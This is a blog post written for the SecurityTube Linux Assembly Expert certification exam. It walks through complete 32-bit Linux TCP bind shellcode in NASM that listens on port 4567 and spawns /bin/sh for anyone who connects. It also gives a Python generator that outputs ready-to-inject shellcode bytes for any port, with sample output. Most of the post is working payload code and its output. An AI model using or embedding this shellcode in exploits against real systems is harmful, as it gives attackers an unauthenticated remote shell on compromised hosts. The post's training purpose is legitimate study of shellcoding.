SLAE: 0x1 Tcp bind shellcode
Sun 02 April 2017
While working on the OSCE certification I took the SLAE course from securitytube as it's an excellent introduction to shellcoding and writing custom encoders / crypters. The exam format requires you to complete 7 assignments and do a write up to post online on a personal blog. The next 7 blogposts will be accompanied with code that's available on my github here.
0x1 Requirements:
Write linux 32 bit shellcode that does the following:
- bind to a port via TCP
- executes a shell on incoming connections
- Make it easy to reconfigure the port it listens on
0x1 Demo : putting it all together
0x3 Code walkthrough
Tcp bind shellcode can be split up into 4 major actions ( syscalls ):
- create socket
- bind socket to address
- listen for connections
- accept new connections on socket and spawn new socket to communicate on
- duplicate filedescriptors for stdOut/stdIn/stdErr so communication can happen over the socket
- execve a shell that is now interactable through the duplicated file descriptors
I decided to comment inline as much as I tought necessary and split the logic blocks up by using labels in the assembly code. The calls itself are straightforward, with the added remark that on 32 bit systems the socket calls go through the 'parent' socketcall syscall. Which requires that the parameters for the 'child' call need to be passed as an pointer to an argument list in ecx.
shellcode
; Filename: tcp_bind_shell.nasm
; Author: Plaix
; Website: http://slacklabs.be
;
; Purpose:
; Bind on configurable port and spawns /bin/sh upon connect
; Compile:
; --------
;
; nasm -f elf32 -o tcp_bind_shell.o portbind.nasm
; ld -o tcp_bind_shell portbind.o
global _start
section .text
_start:
; set up socket ( 0x66 ) , save FD
; socketcall syscall 102
; int socketcall(int call, unsigned long *args)
; call= ebx
; 0x01 = SYS_SOCKET
; defined in linux/net.h
; long *args = socket call
; int socket(int domain, int type, int protocol);
; PF_INET=2,SOCK_STREAM=1,0
; clear out the regs
xor ecx,ecx
mul ecx
_socket:
mov byte al,0x66 ; 102
inc ebx ; 0x01 SYS_SOCKET
push ecx ; 0x00 = int protocol of socket args list
push byte 0x01 ; 0x01 = int type = SOCK_STREAM
push byte 0x02 ; = int domain = AF_INET
mov ecx,esp
int 0x80
; save fd
xchg esi,eax
_bind:
; http://man7.org/linux/man-pages/man2/bind.2.html
; int socketcall(int call, unsigned long *args)
; call = 0x02
; int bind(int sockfd, const struct sockaddr *addr,
; socklen_t addrlen);
pop ebx ; 0x02 int call > bind
; create struct sockaddr
push edx ; 0x0
; use port 4567
; TCP/IP works on big endian order
; least significant bit to the right
; this will push the 2 byte portnumber and the following
; push word bx will push 2 bytes on the stack
; making the dword to be used in the struct for port
; 3905000002
push word 0xd711 ; port 4567
push word bx ; AF_INET = 2
mov ecx,esp ; save pointer
push byte 0x10 ; addrlen = 16
push ecx ; struct sockaddr
push esi ; sockfd
mov ecx,esp ; save pointer to bind argument lists
push byte 0x66 ; 102 socket syscall
pop eax
int 0x80
_listen:
; int socketcall(int call, unsigned long *args)
; call = 0x04
inc ebx
inc ebx
;int listen(int sockfd, int backlog);
push edx ; 0x0
push esi ; socketfd
mov ecx,esp
mov byte al,0x66 ; 102 socket syscall
int 0x80
_accept:
; int socketcall(int call, unsigned long *args)
; call = 0x05
inc ebx
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; esi , 0 , 0
push edx ; 0x0
push edx ; 0x0
push esi ; sockfd
mov ecx,esp
mov byte al,0x66 ; 102 socket syscall
int 0x80
_dup2:
; duplicate stdErr(2),stdOut(1) and stdIn(0) so the socket can interact with execve spawned binary later on
; int dup2(int oldfd, int newfd);
; ecx is prepped to loop and decrease by one until signed flag is set
; this will be set if ecx goes to -1 and allows us to loop past 0
; stack contains 0x3 at this point = socketFD, change if needed
pop ecx
dec ecx
xchg ebx,eax ; sockFD of new client socket! Result of accept call
loop:
mov byte al,0x3f ; dup2 syscall
int 0x80
dec ecx
jns loop
_execve:
;int execve(const char *filename, char *const argv[], char *const envp[]);
; execve ("/bin/sh", ["/bin/sh", "-i"], 0);
cltd
push edx
; //bin/sh
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
;push edx
; param -i
;push word 0x692d
mov ecx, esp
push edx
;push ecx
push ebx
mov ecx, esp
mov byte al,0xb
int 0x80
0x4 Automation
To fulfill the last requirement of this assignment I made a quick generator script in python that takes the port number as an argument and generates the customized shellcode
#!/usr/bin/python
'''
; Filename: generate_tcpbind.py
; Author: Plaix
; Website: http://slacklabs.be
;
; Purpose:
Generates a x86 linux tcp bind shell on a configurable port and runs
/bin/sh on connect
'''
import sys
pre_sh="\\x31\\xc9\\xf7\\xe1\\xb0\\x66\\x43\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x96\\x5b\\x52\\x66\\x68"
post_sh="\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x43\\x43\\x52\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x43\\x52\\x52\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x59\\x49\\x93\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xe1\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
#Printing hex output with len 99
def check_for_badchars(bclist,shellcode):
'''
returns false if badchars are found in resulting shellcode
'''
bclist=bytearray(bclist.decode('string_escape'))
for x in bytearray(bclist):
result=bytearray(shellcode).find(bytearray(chr(x)))
if result != -1:
return True
# We're golden
return False
def generate_shellcode(port):
if(port > 65356):
print ("[+] Port number %s is above limit of 65356, exiting!!" % port)
return -1
if(port < 1024 ):
print ("[+] Port number %s requires root permissions!!" % port)
port=format(port,"#02x")[2:]
if len(port) < 4:
port="0"+str(port)
port="\\x"+port[:2]+"\\x"+port[2:4]
print ("[+] Port converted to hex:\t%s" % port)
return pre_sh+port+post_sh
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Need a port as argument")
print("Usage:\t %s <port|4444>" % sys.argv[0])
else:
print("[+] Using port %s" % sys.argv[1])
result=generate_shellcode(int(sys.argv[1]))
if(result==-1):
print("[+] Shellcode generating failed!!")
else:
print("[+] Shellcode length:\t%i" % (len(result)/4))
print("[+] Shellcode :\n%s\n" % result)
plaix@SLAE:~/code/SLAE/exam/0x1_bind_tcp$ python generate_tcpbind.py 4567
[+] Using port 4567
[+] Port converted to hex: \x11\xd7
[+] Shellcode length: 91
[+] Shellcode :
\x31\xc9\xf7\xe1\xb0\x66\x43\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x5b\x52\x66\x68\x11\xd7\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x52\x56\x89\xe1\xb0\x66\xcd\x80\x43\x52\x52\x56\x89\xe1\xb0\x66\xcd\x80\x59\x49\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xe1\x52\x53\x89\xe1\xb0\x0b\xcd\x80
plaix@SLAE:~/code/SLAE/exam/0x1_bind_tcp$
0x0 Resources used:
Sysgrok: http://syscalls.kernelgrok.com/
Linux man pages: http://man7.org/linux/man-pages/index.html
shellstorm.org: http://shell-storm.org/shellcode/
exploit-db.com: https://www.exploit-db.com/shellcode/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 827